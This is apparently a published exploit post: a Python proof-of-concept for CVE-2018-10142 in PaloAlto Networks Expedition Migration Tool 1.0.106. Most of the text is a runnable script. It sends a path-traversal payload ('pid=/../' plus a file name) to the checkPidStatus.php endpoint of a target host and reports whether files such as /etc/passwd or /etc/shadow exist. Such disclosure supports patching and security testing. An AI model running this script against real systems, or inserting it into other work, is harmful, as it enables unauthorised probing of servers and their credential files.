PaloAlto Networks Expedition Migration Tool 1.0.106 – Information Disclosure
# Exploit Title: PaloAlto Networks Expedition Migration Tool 1.0.106 - Information Disclosure # Date: 2018-11-28 # Exploit Author: paragonsec @ Critical Start # Vendor Homepage: https://live.paloaltonetworks.com/t5/Expedition-Migration-Tool/ct-p/migration_tool # Software Link: https://paloaltonetworks.app.box.com/s/davuvo65k727nm7feuug0d783zo6fjx8 # Version: 1.0.106 # Tested on: Linux # CVE : 2018-10142 #!/usr/bin/env python import argparse import requests import sys import collections #Colors OKRED = '\033[91m' OKGREEN = '\033[92m' ENDC = '\033[0m' parser = argparse.ArgumentParser() parser.add_argument("--rhost", help = "Remote Host") parser.add_argument('--file', help = 'File to check (e.g /etc/passwd, /etc/shadow)') args = parser.parse_args() # Check to ensure at least one argument has been passed if len(sys.argv)==1: parser.print_help(sys.stderr) sys.exit(1) rhost = args.rhost rfile = args.file exploit_url = "http://" + rhost + "/API/process/checkPidStatus.php" headers = [ ('User-Agent','Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0'), ('Accept', 'application/json, text/javascript, */*; q=0.01'), ('Accept-Language', 'en-US,en;q=0.5'), ('Accept-Encoding', 'gzip, deflate'), ('Connection', 'close') ] # probably not necessary but did it anyways headers = collections.OrderedDict(headers) # Setting up GET body parameters body = "pid=/../" + rfile print(OKGREEN + "Author: " + ENDC + "paragonsec @ Critical Start (https://www.criticalstart.com)") print(OKGREEN + "CVE: " + ENDC + "2018-10142") print(OKGREEN + "Description: " + ENDC + "Information Disclosure in Expedition Migration Tool") print(OKGREEN + "Vuln Versions: " + ENDC + "< 1.0.107\n") print(OKGREEN + "[+]" + ENDC + "Running exploit...") s = requests.Session() req = requests.post(exploit_url, headers=headers, data=body) if "false" not in req.text: print(OKGREEN + "[+]" + ENDC + "Exploit worked! " + rfile + " exists!\n") else: print(OKRED + "[!]" + ENDC + "File " + rfile + " does not exist!\n") |